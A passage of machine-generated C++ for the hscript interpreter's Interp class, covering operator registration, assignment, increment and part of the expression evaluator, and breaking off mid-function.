HXLINE( 112) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 112) return ::hx::IsGreater( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_16, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_113_initOps)
HXLINE( 113) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 113) return ::hx::IsLess( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_17, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_114_initOps)
HXLINE( 114) if (::hx::IsNotEq( me->expr(e1),true )) {
HXLINE( 114) return ::hx::IsEq( me->expr(e2),true );
}
else {
HXLINE( 114) return true;
}
HXDLIN( 114) return false;
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_18, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_115_initOps)
HXLINE( 115) if (::hx::IsEq( me->expr(e1),true )) {
HXLINE( 115) return ::hx::IsEq( me->expr(e2),true );
}
else {
HXLINE( 115) return false;
}
HXDLIN( 115) return false;
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_19, ::hscript::Interp,me) HXARGC(2)
::IntIterator _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_117_initOps)
HXLINE( 117) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 117) return ::IntIterator_obj::__alloc( HX_CTX ,( (int)(_hx_tmp) ),( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_20) HXARGC(2)
::Dynamic _hx_run( ::Dynamic v1, ::Dynamic v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_118_initOps)
HXLINE( 118) return (v1 + v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_21) HXARGC(2)
Float _hx_run(Float v1,Float v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_119_initOps)
HXLINE( 119) return (v1 - v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_22) HXARGC(2)
Float _hx_run(Float v1,Float v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_120_initOps)
HXLINE( 120) return (v1 * v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_23) HXARGC(2)
Float _hx_run(Float v1,Float v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_121_initOps)
HXLINE( 121) return (v1 / v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_24) HXARGC(2)
Float _hx_run(Float v1,Float v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_122_initOps)
HXLINE( 122) return ::hx::Mod(v1,v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_25) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_123_initOps)
HXLINE( 123) return (v1 & v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_26) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_124_initOps)
HXLINE( 124) return (v1 | v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_27) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_125_initOps)
HXLINE( 125) return (v1 ^ v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_28) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_126_initOps)
HXLINE( 126) return (v1 << v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_29) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_127_initOps)
HXLINE( 127) return (v1 >> v2);
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S0(::hx::LocalFunc,_hx_Closure_30) HXARGC(2)
int _hx_run(int v1,int v2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_128_initOps)
HXLINE( 128) return ::hx::UShr(v1,v2);
}
HX_END_LOCAL_FUNC2(return)
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_90_initOps)
HXLINE( 91) ::hscript::Interp me = ::hx::ObjectPtr<OBJ_>(this);
HXLINE( 93) this->binops = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
HXLINE( 97) this->binops->set(HX_("+",2b,00,00,00), ::Dynamic(new _hx_Closure_0(me)));
HXLINE( 98) this->binops->set(HX_("-",2d,00,00,00), ::Dynamic(new _hx_Closure_1(me)));
HXLINE( 99) this->binops->set(HX_("*",2a,00,00,00), ::Dynamic(new _hx_Closure_2(me)));
HXLINE( 100) this->binops->set(HX_("/",2f,00,00,00), ::Dynamic(new _hx_Closure_3(me)));
HXLINE( 101) this->binops->set(HX_("%",25,00,00,00), ::Dynamic(new _hx_Closure_4(me)));
HXLINE( 102) this->binops->set(HX_("&",26,00,00,00), ::Dynamic(new _hx_Closure_5(me)));
HXLINE( 103) this->binops->set(HX_("|",7c,00,00,00), ::Dynamic(new _hx_Closure_6(me)));
HXLINE( 104) this->binops->set(HX_("^",5e,00,00,00), ::Dynamic(new _hx_Closure_7(me)));
HXLINE( 105) this->binops->set(HX_("<<",80,34,00,00), ::Dynamic(new _hx_Closure_8(me)));
HXLINE( 106) this->binops->set(HX_(">>",40,36,00,00), ::Dynamic(new _hx_Closure_9(me)));
HXLINE( 107) this->binops->set(HX_(">>>",fe,41,2f,00), ::Dynamic(new _hx_Closure_10(me)));
HXLINE( 108) this->binops->set(HX_("==",60,35,00,00), ::Dynamic(new _hx_Closure_11(me)));
HXLINE( 109) this->binops->set(HX_("!=",fc,1c,00,00), ::Dynamic(new _hx_Closure_12(me)));
HXLINE( 110) this->binops->set(HX_(">=",3f,36,00,00), ::Dynamic(new _hx_Closure_13(me)));
HXLINE( 111) this->binops->set(HX_("<=",81,34,00,00), ::Dynamic(new _hx_Closure_14(me)));
HXLINE( 112) this->binops->set(HX_(">",3e,00,00,00), ::Dynamic(new _hx_Closure_15(me)));
HXLINE( 113) this->binops->set(HX_("<",3c,00,00,00), ::Dynamic(new _hx_Closure_16(me)));
HXLINE( 114) this->binops->set(HX_("||",80,6c,00,00), ::Dynamic(new _hx_Closure_17(me)));
HXLINE( 115) this->binops->set(HX_("&&",40,21,00,00), ::Dynamic(new _hx_Closure_18(me)));
HXLINE( 116) this->binops->set(HX_("=",3d,00,00,00),this->assign_dyn());
HXLINE( 117) this->binops->set(HX_("...",ee,0f,23,00), ::Dynamic(new _hx_Closure_19(me)));
HXLINE( 118) this->assignOp(HX_("+=",b2,25,00,00), ::Dynamic(new _hx_Closure_20()));
HXLINE( 119) this->assignOp(HX_("-=",70,27,00,00), ::Dynamic(new _hx_Closure_21()));
HXLINE( 120) this->assignOp(HX_("*=",d3,24,00,00), ::Dynamic(new _hx_Closure_22()));
HXLINE( 121) this->assignOp(HX_("/=",2e,29,00,00), ::Dynamic(new _hx_Closure_23()));
HXLINE( 122) this->assignOp(HX_("%=",78,20,00,00), ::Dynamic(new _hx_Closure_24()));
HXLINE( 123) this->assignOp(HX_("&=",57,21,00,00), ::Dynamic(new _hx_Closure_25()));
HXLINE( 124) this->assignOp(HX_("|=",41,6c,00,00), ::Dynamic(new _hx_Closure_26()));
HXLINE( 125) this->assignOp(HX_("^=",1f,52,00,00), ::Dynamic(new _hx_Closure_27()));
HXLINE( 126) this->assignOp(HX_("<<=",bd,bb,2d,00), ::Dynamic(new _hx_Closure_28()));
HXLINE( 127) this->assignOp(HX_(">>=",fd,41,2f,00), ::Dynamic(new _hx_Closure_29()));
HXLINE( 128) this->assignOp(HX_(">>>=",7f,7c,2a,29), ::Dynamic(new _hx_Closure_30()));
}
HX_DEFINE_DYNAMIC_FUNC0(Interp_obj,initOps,(void))
::Dynamic Interp_obj::assign( ::hscript::Expr e1, ::hscript::Expr e2){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_131_assign)
HXLINE( 132) ::Dynamic v = this->expr(e2);
HXLINE( 133) switch((int)(e1->_hx_getIndex())){
case (int)1: {
HXLINE( 134) ::String id = e1->_hx_getString(0);
HXDLIN( 134) {
HXLINE( 135) ::Dynamic l = this->locals->get(id);
HXLINE( 136) if (::hx::IsNull( l )) {
HXLINE( 137) this->variables->set(id,v);
}
else {
HXLINE( 139) l->__SetField(HX_("r",72,00,00,00),v,::hx::paccDynamic);
}
}
}
break;
case (int)5: {
HXLINE( 140) ::String f = e1->_hx_getString(1);
HXDLIN( 140) ::hscript::Expr e = e1->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 141) v = this->set(this->expr(e),f,v);
}
break;
case (int)16: {
HXLINE( 142) ::hscript::Expr index = e1->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 142) ::hscript::Expr e = e1->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXDLIN( 142) {
HXLINE( 143) ::Dynamic arr = this->expr(e);
HXLINE( 144) ::Dynamic index1 = this->expr(index);
HXLINE( 145) if (::Std_obj::isOfType(arr,( ( ::Dynamic)(::hx::ClassOf< ::haxe::IMap >()) ))) {
HXLINE( 146) ::haxe::IMap_obj::set( ::hx::interface_check(arr,0x09c2bd39),index1,v);
}
else {
HXLINE( 149) arr->__SetItem(( (int)(index1) ),v);
}
}
}
break;
default:{
HXLINE( 153) ::hscript::Error e = ::hscript::Error_obj::EInvalidOp(HX_("=",3d,00,00,00));
HXDLIN( 153) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
}
HXLINE( 155) return v;
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,assign,return )
void Interp_obj::assignOp(::String op, ::Dynamic fop){
HX_BEGIN_LOCAL_FUNC_S3(::hx::LocalFunc,_hx_Closure_0,::String,op, ::hscript::Interp,me, ::Dynamic,fop) HXARGC(2)
::Dynamic _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_160_assignOp)
HXLINE( 160) return me->evalAssignOp(op,fop,e1,e2);
}
HX_END_LOCAL_FUNC2(return)
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_158_assignOp)
HXLINE( 159) ::hscript::Interp me = ::hx::ObjectPtr<OBJ_>(this);
HXLINE( 160) this->binops->set(op, ::Dynamic(new _hx_Closure_0(op,me,fop)));
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,assignOp,(void))
::Dynamic Interp_obj::evalAssignOp(::String op, ::Dynamic fop, ::hscript::Expr e1, ::hscript::Expr e2){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_163_evalAssignOp)
HXLINE( 164) ::Dynamic v;
HXLINE( 165) switch((int)(e1->_hx_getIndex())){
case (int)1: {
HXLINE( 166) ::String id = e1->_hx_getString(0);
HXDLIN( 166) {
HXLINE( 167) ::Dynamic l = this->locals->get(id);
HXLINE( 168) ::Dynamic v1 = this->expr(e1);
HXDLIN( 168) v = fop(v1,this->expr(e2));
HXLINE( 169) if (::hx::IsNull( l )) {
HXLINE( 170) this->variables->set(id,v);
}
else {
HXLINE( 172) l->__SetField(HX_("r",72,00,00,00),v,::hx::paccDynamic);
}
}
}
break;
case (int)5: {
HXLINE( 173) ::String f = e1->_hx_getString(1);
HXDLIN( 173) ::hscript::Expr e = e1->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXDLIN( 173) {
HXLINE( 174) ::Dynamic obj = this->expr(e);
HXLINE( 175) ::Dynamic v1 = this->get(obj,f);
HXDLIN( 175) v = fop(v1,this->expr(e2));
HXLINE( 176) v = this->set(obj,f,v);
}
}
break;
case (int)16: {
HXLINE( 177) ::hscript::Expr index = e1->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 177) ::hscript::Expr e = e1->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXDLIN( 177) {
HXLINE( 178) ::Dynamic arr = this->expr(e);
HXLINE( 179) ::Dynamic index1 = this->expr(index);
HXLINE( 180) if (::Std_obj::isOfType(arr,( ( ::Dynamic)(::hx::ClassOf< ::haxe::IMap >()) ))) {
HXLINE( 181) ::Dynamic v1 = ::haxe::IMap_obj::get( ::hx::interface_check(arr,0x09c2bd39),index1);
HXDLIN( 181) v = fop(v1,this->expr(e2));
HXLINE( 182) ::haxe::IMap_obj::set( ::hx::interface_check(arr,0x09c2bd39),index1,v);
}
else {
HXLINE( 185) ::Dynamic arr1 = arr->__GetItem(( (int)(index1) ));
HXDLIN( 185) v = fop(arr1,this->expr(e2));
HXLINE( 186) arr->__SetItem(( (int)(index1) ),v);
}
}
}
break;
default:{
HXLINE( 189) ::hscript::Error e = ::hscript::Error_obj::EInvalidOp(op);
HXDLIN( 189) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
}
HXLINE( 191) return v;
}
HX_DEFINE_DYNAMIC_FUNC4(Interp_obj,evalAssignOp,return )
::Dynamic Interp_obj::increment( ::hscript::Expr e,bool prefix,int delta){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_199_increment)
HXDLIN( 199) switch((int)(e->_hx_getIndex())){
case (int)1: {
HXLINE( 200) ::String id = e->_hx_getString(0);
HXLINE( 201) ::Dynamic l = this->locals->get(id);
HXLINE( 202) ::Dynamic v;
HXDLIN( 202) if (::hx::IsNull( l )) {
HXLINE( 202) v = this->variables->get(id);
}
else {
HXLINE( 202) v = ::Dynamic(l->__Field(HX_("r",72,00,00,00),::hx::paccDynamic));
}
HXLINE( 203) if (prefix) {
HXLINE( 204) v = (v + delta);
HXLINE( 205) if (::hx::IsNull( l )) {
HXLINE( 205) this->variables->set(id,v);
}
else {
HXLINE( 205) l->__SetField(HX_("r",72,00,00,00),v,::hx::paccDynamic);
}
}
else {
HXLINE( 207) if (::hx::IsNull( l )) {
HXLINE( 207) this->variables->set(id,(v + delta));
}
else {
HXLINE( 207) l->__SetField(HX_("r",72,00,00,00),(v + delta),::hx::paccDynamic);
}
}
HXLINE( 208) return v;
}
break;
case (int)5: {
HXLINE( 209) ::String f = e->_hx_getString(1);
HXDLIN( 209) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 210) ::Dynamic obj = this->expr(e1);
HXLINE( 211) ::Dynamic v = this->get(obj,f);
HXLINE( 212) if (prefix) {
HXLINE( 213) v = (v + delta);
HXLINE( 214) this->set(obj,f,v);
}
else {
HXLINE( 216) this->set(obj,f,(v + delta));
}
HXLINE( 217) return v;
}
break;
case (int)16: {
HXLINE( 218) ::hscript::Expr index = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 218) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 219) ::Dynamic arr = this->expr(e1);
HXLINE( 220) ::Dynamic index1 = this->expr(index);
HXLINE( 221) if (::Std_obj::isOfType(arr,( ( ::Dynamic)(::hx::ClassOf< ::haxe::IMap >()) ))) {
HXLINE( 222) int v = ( (int)(::haxe::IMap_obj::get( ::hx::interface_check(arr,0x09c2bd39),index1)) );
HXLINE( 223) if (prefix) {
HXLINE( 224) v = (v + delta);
HXLINE( 225) ::haxe::IMap_obj::set( ::hx::interface_check(arr,0x09c2bd39),index1,v);
}
else {
HXLINE( 228) ::haxe::IMap_obj::set( ::hx::interface_check(arr,0x09c2bd39),index1,(v + delta));
}
HXLINE( 230) return v;
}
else {
HXLINE( 233) int v = ( (int)(arr->__GetItem(( (int)(index1) ))) );
HXLINE( 234) if (prefix) {
HXLINE( 235) v = (v + delta);
HXLINE( 236) arr->__SetItem(( (int)(index1) ),v);
}
else {
HXLINE( 238) arr->__SetItem(( (int)(index1) ),(v + delta));
}
HXLINE( 239) return v;
}
}
break;
default:{
HXLINE( 242) ::String e;
HXDLIN( 242) if ((delta > 0)) {
HXLINE( 242) e = HX_("++",a0,25,00,00);
}
else {
HXLINE( 242) e = HX_("--",60,27,00,00);
}
HXDLIN( 242) ::hscript::Error e1 = ::hscript::Error_obj::EInvalidOp(e);
HXDLIN( 242) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e1));
}
}
HXLINE( 199) return null();
}
HX_DEFINE_DYNAMIC_FUNC3(Interp_obj,increment,return )
::Dynamic Interp_obj::execute( ::hscript::Expr expr){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_246_execute)
HXLINE( 247) this->depth = 0;
HXLINE( 249) this->locals = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
HXLINE( 253) this->declared = ::Array_obj< ::Dynamic>::__new();
HXLINE( 254) return this->exprReturn(expr);
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,execute,return )
::Dynamic Interp_obj::exprReturn( ::hscript::Expr e){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_258_exprReturn)
HXDLIN( 258) try {
HX_STACK_CATCHABLE( ::Dynamic, 0);
HXLINE( 259) return this->expr(e);
} catch( ::Dynamic _hx_e) {
if (_hx_e.IsClass< ::Dynamic >() ){
HX_STACK_BEGIN_CATCH
::Dynamic _g = _hx_e;
HXLINE( 1) {
HXLINE( 1) null();
}
HXDLIN( 1) ::Dynamic _g1 = ::haxe::Exception_obj::caught(_g)->unwrap();
HXLINE( 258) if (::Std_obj::isOfType(_g1,::hx::ClassOf< ::hscript::_Interp::Stop >())) {
HXLINE( 1) ::hscript::_Interp::Stop e = _g1;
HXLINE( 261) switch((int)(e->_hx_getIndex())){
case (int)0: {
HXLINE( 262) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(HX_("Invalid break",b6,ee,24,9d)));
}
break;
case (int)1: {
HXLINE( 263) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(HX_("Invalid continue",d0,6a,b7,3f)));
}
break;
case (int)2: {
HXLINE( 265) ::Dynamic v = this->returnValue;
HXLINE( 266) this->returnValue = null();
HXLINE( 267) return v;
}
break;
}
}
else {
HXDLIN( 258) HX_STACK_DO_THROW(_g);
}
}
else {
HX_STACK_DO_THROW(_hx_e);
}
}
HXDLIN( 258) return null();
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,exprReturn,return )
::haxe::ds::StringMap Interp_obj::duplicate( ::haxe::ds::StringMap h){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_273_duplicate)
HXLINE( 275) ::haxe::ds::StringMap h2 = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
HXLINE( 279) {
HXLINE( 279) ::Dynamic k = h->keys();
HXDLIN( 279) while(( (bool)(k->__Field(HX_("hasNext",6d,a5,46,18),::hx::paccDynamic)()) )){
HXLINE( 279) ::String k1 = ( (::String)(k->__Field(HX_("next",f3,84,02,49),::hx::paccDynamic)()) );
HXLINE( 280) h2->set(k1,h->get(k1));
}
}
HXLINE( 281) return h2;
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,duplicate,return )
void Interp_obj::restore(int old){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_285_restore)
HXDLIN( 285) while((this->declared->length > old)){
HXLINE( 286) ::Dynamic d = this->declared->pop();
HXLINE( 287) this->locals->set(( (::String)(d->__Field(HX_("n",6e,00,00,00),::hx::paccDynamic)) ), ::Dynamic(d->__Field(HX_("old",a7,98,54,00),::hx::paccDynamic)));
}
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,restore,(void))
::Dynamic Interp_obj::error( ::hscript::Error e,::hx::Null< bool > __o_rethrow){
bool rethrow = __o_rethrow.Default(false);
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_293_error)
HXDLIN( 293) if (rethrow) {
HXDLIN( 293) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
else {
HXDLIN( 293) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXDLIN( 293) return null();
}
HX_DEFINE_DYNAMIC_FUNC2(Interp_obj,error,return )
void Interp_obj::rethrow( ::Dynamic e){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_301_rethrow)
HXDLIN( 301) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,rethrow,(void))
::Dynamic Interp_obj::resolve(::String id){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_305_resolve)
HXLINE( 306) ::Dynamic l = this->locals->get(id);
HXLINE( 307) if (::hx::IsNotNull( l )) {
HXLINE( 308) return ::Dynamic(l->__Field(HX_("r",72,00,00,00),::hx::paccDynamic));
}
HXLINE( 309) ::Dynamic v = this->variables->get(id);
HXLINE( 310) bool _hx_tmp;
HXDLIN( 310) if (::hx::IsNull( v )) {
HXLINE( 310) _hx_tmp = !(this->variables->exists(id));
}
else {
HXLINE( 310) _hx_tmp = false;
}
HXDLIN( 310) if (_hx_tmp) {
HXLINE( 311) ::hscript::Error e = ::hscript::Error_obj::EUnknownVariable(id);
HXDLIN( 311) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 312) return v;
}
HX_DEFINE_DYNAMIC_FUNC1(Interp_obj,resolve,return )
::Dynamic Interp_obj::expr( ::hscript::Expr e){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_315_expr)
HXDLIN( 315) ::hscript::Interp _gthis = ::hx::ObjectPtr<OBJ_>(this);
HXLINE( 320) switch((int)(e->_hx_getIndex())){
case (int)0: {
HXLINE( 321) ::hscript::Const c = e->_hx_getObject(0).StaticCast< ::hscript::Const >();
HXLINE( 322) switch((int)(c->_hx_getIndex())){
case (int)0: {
HXLINE( 323) int v = c->_hx_getInt(0);
HXDLIN( 323) return v;
}
break;
case (int)1: {
HXLINE( 324) Float f = c->_hx_getFloat(0);
HXDLIN( 324) return f;
}
break;
case (int)2: {
HXLINE( 325) ::String s = c->_hx_getString(0);
HXDLIN( 325) return s;
}
break;
}
}
break;
case (int)1: {
HXLINE( 330) ::String id = e->_hx_getString(0);
HXLINE( 331) return this->resolve(id);
}
break;
case (int)2: {
HXLINE( 332) ::hscript::CType _g = e->_hx_getObject(1).StaticCast< ::hscript::CType >();
HXDLIN( 332) ::hscript::Expr e1 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 332) ::String n = e->_hx_getString(0);
HXLINE( 333) ::Array< ::Dynamic> _hx_tmp = this->declared;
HXDLIN( 333) _hx_tmp->push( ::Dynamic(::hx::Anon_obj::Create(2)
->setFixed(0,HX_("n",6e,00,00,00),n)
->setFixed(1,HX_("old",a7,98,54,00),this->locals->get(n))));
HXLINE( 334) {
HXLINE( 334) ::Dynamic this1 = this->locals;
HXDLIN( 334) ::Dynamic value;
HXDLIN( 334) if (::hx::IsNull( e1 )) {
HXLINE( 334) value = null();
}
else {
HXLINE( 334) value = this->expr(e1);
}
HXDLIN( 334) ( ( ::haxe::ds::StringMap)(this1) )->set(n, ::Dynamic(::hx::Anon_obj::Create(1)
->setFixed(0,HX_("r",72,00,00,00),value)));
}
HXLINE( 335) return null();
}
break;
case (int)3: {
HXLINE( 336) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 337) return this->expr(e1);
}
break;
case (int)4: {
HXLINE( 338) ::Array< ::Dynamic> exprs = e->_hx_getObject(0).StaticCast< ::Array< ::Dynamic> >();
HXLINE( 339) int old = this->declared->length;
HXLINE( 340) ::Dynamic v = null();
HXLINE( 341) {
HXLINE( 341) int _g = 0;
HXDLIN( 341) while((_g < exprs->length)){
HXLINE( 341) ::hscript::Expr e = exprs->__get(_g).StaticCast< ::hscript::Expr >();
HXDLIN( 341) _g = (_g + 1);
HXLINE( 342) v = this->expr(e);
}
}
HXLINE( 343) this->restore(old);
HXLINE( 344) return v;
}
break;
case (int)5: {
HXLINE( 345) ::String f = e->_hx_getString(1);
HXDLIN( 345) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 346) return this->get(this->expr(e1),f);
}
break;
case (int)6: {
HXLINE( 347) ::hscript::Expr e2 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 347) ::hscript::Expr e1 = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 347) ::String op = e->_hx_getString(0);
HXLINE( 348) ::Dynamic fop = this->binops->get(op);
HXLINE( 349) if (::hx::IsNull( fop )) {
HXLINE( 349) ::hscript::Error e = ::hscript::Error_obj::EInvalidOp(op);
HXDLIN( 349) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 350) return fop(e1,e2);
}
break;
case (int)7: {
HXLINE( 351) ::hscript::Expr e1 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 351) bool prefix = e->_hx_getBool(1);
HXDLIN( 351) ::String op = e->_hx_getString(0);
HXLINE( 352) ::String _hx_switch_0 = op;
if ( (_hx_switch_0==HX_("!",21,00,00,00)) ){
HXLINE( 354) return ::hx::IsNotEq( this->expr(e1),true );
HXDLIN( 354) goto _hx_goto_51;
}
if ( (_hx_switch_0==HX_("++",a0,25,00,00)) ){
HXLINE( 358) return this->increment(e1,prefix,1);
HXDLIN( 358) goto _hx_goto_51;
}
if ( (_hx_switch_0==HX_("-",2d,00,00,00)) ){
HXLINE( 356) return -(this->expr(e1));
HXDLIN( 356) goto _hx_goto_51;
}
if ( (_hx_switch_0==HX_("--",60,27,00,00)) ){
HXLINE( 360) return this->increment(e1,prefix,-1);
HXDLIN( 360) goto _hx_goto_51;
}
if ( (_hx_switch_0==HX_("~",7e,00,00,00)) ){
HXLINE( 365) return ~(( (int)(this->expr(e1)) ));
HXDLIN( 365) goto _hx_goto_51;
}
/* default */{
HXLINE( 368) ::hscript::Error e = ::hscript::Error_obj::EInvalidOp(op);
HXDLIN( 368) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
_hx_goto_51:;
}
break;
case (int)8: {
HXLINE( 370) ::Array< ::Dynamic> params = e->_hx_getObject(1).StaticCast< ::Array< ::Dynamic> >();
HXDLIN( 370) ::hscript::Expr e1 = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 371) ::cpp::VirtualArray args = ::cpp::VirtualArray_obj::__new();
HXLINE( 372) {
HXLINE( 372) int _g = 0;
HXDLIN( 372) while((_g < params->length)){
HXLINE( 372) ::hscript::Expr p = params->__get(_g).StaticCast< ::hscript::Expr >();
HXDLIN( 372) _g = (_g + 1);
HXLINE( 373) args->push(this->expr(p));
}
}
HXLINE( 375) if ((e1->_hx_getIndex() == 5)) {
HXLINE( 376) ::String f = e1->_hx_getString(1);
HXDLIN( 376) ::hscript::Expr e = e1->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 377) ::Dynamic obj = this->expr(e);
HXLINE( 378) if (::hx::IsNull( obj )) {
HXLINE( 378) ::hscript::Error e = ::hscript::Error_obj::EInvalidAccess(f);
HXDLIN( 378) HX_STACK_DO_THROW(::haxe::Exception_obj::thrown(e));
}
HXLINE( 379) return this->fcall(obj,f,args);
}
else {
HXLINE( 381) return this->call(null(),this->expr(e1),args);
}
}
break;
case (int)9: {
HXLINE( 383) ::hscript::Expr e2 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 383) ::hscript::Expr e1 = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 383) ::hscript::Expr econd = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 384) if (::hx::IsEq( this->expr(econd),true )) {
HXLINE( 384) return this->expr(e1);
}
else {
HXLINE( 384) if (::hx::IsNull( e2 )) {
HXLINE( 384) return null();
}
else {
HXLINE( 384) return this->expr(e2);
}
}
}
break;
case (int)10: {
HXLINE( 385) ::hscript::Expr e1 = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 385) ::hscript::Expr econd = e->_hx_getObject(0).StaticCast< ::hscript::Expr >();
HXLINE( 386) this->whileLoop(econd,e1);
HXLINE( 387) return null();
}
break;
case (int)11: {
HXLINE( 391) ::hscript::Expr e1 = e->_hx_getObject(2).StaticCast< ::hscript::Expr >();
HXDLIN( 391) ::hscript::Expr it = e->_hx_getObject(1).StaticCast< ::hscript::Expr >();
HXDLIN( 391) ::String v = e->_hx_getString(0);
